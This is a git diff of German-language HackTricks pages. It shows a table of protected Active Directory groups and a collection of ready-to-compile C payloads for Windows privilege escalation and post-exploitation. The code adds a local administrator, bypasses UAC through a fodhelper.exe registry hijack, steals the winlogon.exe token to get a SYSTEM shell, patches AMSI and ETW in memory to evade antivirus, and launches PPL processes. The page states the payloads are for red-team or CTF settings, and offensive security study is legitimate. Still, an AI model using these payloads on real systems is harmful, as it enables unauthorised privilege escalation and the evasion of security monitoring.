**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
|
||||
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
|
||||
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
|
||||
@ -132,4 +189,12 @@ Für detailliertere Informationen konsultieren Sie die offizielle [Dokumentation
|
||||
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
|
||||
| Server Operators | Server Operators | Server Operators | Server Operators |
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
|
||||
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
|
||||
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
|
||||
- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite sammelt **kleine, eigenständige C-Snippets**, die während der Windows Local Privilege Escalation oder Post-Exploitation nützlich sind. Jedes Payload ist so gestaltet, dass es **copy-paste-freundlich** ist, benötigt nur die Windows API / C-Laufzeit und kann mit `i686-w64-mingw32-gcc` (x86) oder `x86_64-w64-mingw32-gcc` (x64) kompiliert werden.
|
||||
Diese Seite sammelt **kleine, eigenständige C-Snippets**, die bei Windows Local Privilege Escalation oder post-exploitation nützlich sind. Jeder Payload ist so ausgelegt, dass er **copy-paste friendly** ist, benötigt nur die Windows API / C runtime und kann mit `i686-w64-mingw32-gcc` (x86) oder `x86_64-w64-mingw32-gcc` (x64) kompiliert werden.
|
||||
|
||||
> ⚠️ Diese Payloads setzen voraus, dass der Prozess bereits über die minimalen Berechtigungen verfügt, die erforderlich sind, um die Aktion auszuführen (z. B. `SeDebugPrivilege`, `SeImpersonatePrivilege` oder Kontext mit mittlerer Integrität für einen UAC-Bypass). Sie sind für **Red-Team- oder CTF-Einstellungen** gedacht, in denen das Ausnutzen einer Schwachstelle zu beliebiger nativer Codeausführung geführt hat.
|
||||
> ⚠️ Diese Payloads setzen voraus, dass der Prozess bereits über die minimalen Berechtigungen verfügt, die erforderlich sind, um die Aktion auszuführen (z. B. `SeDebugPrivilege`, `SeImpersonatePrivilege`, oder ein medium-integrity context für einen UAC bypass). Sie sind für **red-team or CTF settings** gedacht, in denen das Ausnutzen einer Verwundbarkeit arbitrary native code execution ermöglicht hat.
|
||||
|
||||
---
|
||||
|
||||
## Lokalen Administratorbenutzer hinzufügen
|
||||
## Lokalen Administrator-Benutzer hinzufügen
|
||||
```c
|
||||
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
|
||||
#include <stdlib.h>
|
||||
@ -21,13 +21,13 @@ return 0;
|
||||
---
|
||||
|
||||
## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
|
||||
Wenn die vertrauenswürdige Binärdatei **`fodhelper.exe`** ausgeführt wird, fragt sie den folgenden Registrierungspfad **ohne den `DelegateExecute`-Befehl zu filtern**. Indem wir unseren Befehl unter diesem Schlüssel platzieren, kann ein Angreifer UAC *ohne* das Ablegen einer Datei auf der Festplatte umgehen.
|
||||
Wenn das vertrauenswürdige Binary **`fodhelper.exe`** ausgeführt wird, fragt es den untenstehenden Registrierungspfad ab **ohne das `DelegateExecute`-Verb zu filtern**. Durch Platzieren unseres Befehls unter diesem Schlüssel kann ein Angreifer UAC umgehen *ohne* eine Datei auf die Festplatte zu schreiben.
|
||||
|
||||
*Registry path queried by `fodhelper.exe`*
|
||||
*Von `fodhelper.exe` abgefragter Registrierungspfad*
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Ein minimales PoC, das ein erhöhtes `cmd.exe` öffnet:
|
||||
Ein minimales PoC, das eine `cmd.exe` mit erhöhten Rechten startet:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -61,12 +61,12 @@ system("fodhelper.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Getestet auf Windows 10 22H2 und Windows 11 23H2 (Juli 2025 Patches). Der Bypass funktioniert weiterhin, da Microsoft die fehlende Integritätsprüfung im `DelegateExecute`-Pfad nicht behoben hat.*
|
||||
*Getestet auf Windows 10 22H2 und Windows 11 23H2 (Patches vom Juli 2025). Der Bypass funktioniert weiterhin, da Microsoft die fehlende Integritätsprüfung im `DelegateExecute`-Pfad nicht behoben hat.*
|
||||
|
||||
---
|
||||
|
||||
## SYSTEM-Shell über Token-Duplikation erzeugen (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Wenn der aktuelle Prozess **beide** Privilegien `SeDebug` und `SeImpersonate` hält (typisch für viele Dienstkonten), können Sie das Token von `winlogon.exe` stehlen, es duplizieren und einen erhöhten Prozess starten:
|
||||
## SYSTEM-Shell durch token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Wenn der aktuelle Prozess **beide** Privilegien `SeDebug` und `SeImpersonate` besitzt (typisch für viele Dienstkonten), können Sie das Token von `winlogon.exe` stehlen, es duplizieren und einen erhöhten Prozess starten:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
|
||||
#include <windows.h>
|
||||
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
|
||||
STARTUPINFOW si = { .cb = sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
|
||||
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
|
||||
|
||||
---
|
||||
|
||||
## In-Memory AMSI & ETW Patch (Abwehrumgehung)
|
||||
Die meisten modernen AV/EDR-Engines verlassen sich auf **AMSI** und **ETW**, um bösartige Verhaltensweisen zu inspizieren. Das Patchen beider Schnittstellen früh im aktuellen Prozess verhindert, dass skriptbasierte Payloads (z. B. PowerShell, JScript) gescannt werden.
|
||||
## In-Memory AMSI & ETW Patch (Defence Evasion)
|
||||
Die meisten modernen AV/EDR-Engines verlassen sich auf **AMSI** und **ETW**, um bösartiges Verhalten zu prüfen. Das frühzeitige Patchen beider Schnittstellen innerhalb des aktuellen Prozesses verhindert, dass skriptbasierte Payloads (z. B. PowerShell, JScript) gescannt werden.
|
||||
```c
|
||||
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Der oben genannte Patch ist prozesslokal; das Starten eines neuen PowerShell nach dessen Ausführung erfolgt ohne AMSI/ETW-Inspektion.*
|
||||
*Der obige Patch ist prozesslokal; das Starten einer neuen PowerShell nach dessen Ausführung wird ohne AMSI/ETW-Inspektion ausgeführt.*
|
||||
|
||||
---
|
||||
|
||||
## Kindprozess als Protected Process Light (PPL) erstellen
|
||||
Fordere ein PPL-Schutzlevel für einen Kindprozess zur Erstellungszeit an, indem du `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL` verwendest. Dies ist eine dokumentierte API und wird nur erfolgreich sein, wenn das Ziel-Image für die angeforderte Signer-Klasse (Windows/WindowsLight/Antimalware/LSA/WinTcb) signiert ist.
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(void) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
|
||||
|
||||
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&lvl, sizeof(lvl), NULL, NULL);
|
||||
|
||||
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
|
||||
return 1;
|
||||
}
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Am häufigsten verwendete Levels:
|
||||
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
|
||||
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
|
||||
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
|
||||
|
||||
Überprüfe das Ergebnis mit Process Explorer/Process Hacker, indem du die Spalte "Protection" kontrollierst.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
|
||||
* SplinterCode – “AMSI Bypass 2023: Der kleinste Patch ist immer noch ausreichend” (BlackHat Asia 2023)
|
||||
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
|
||||
* CreateProcessAsPPL – minimaler PPL-Prozessstarter: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user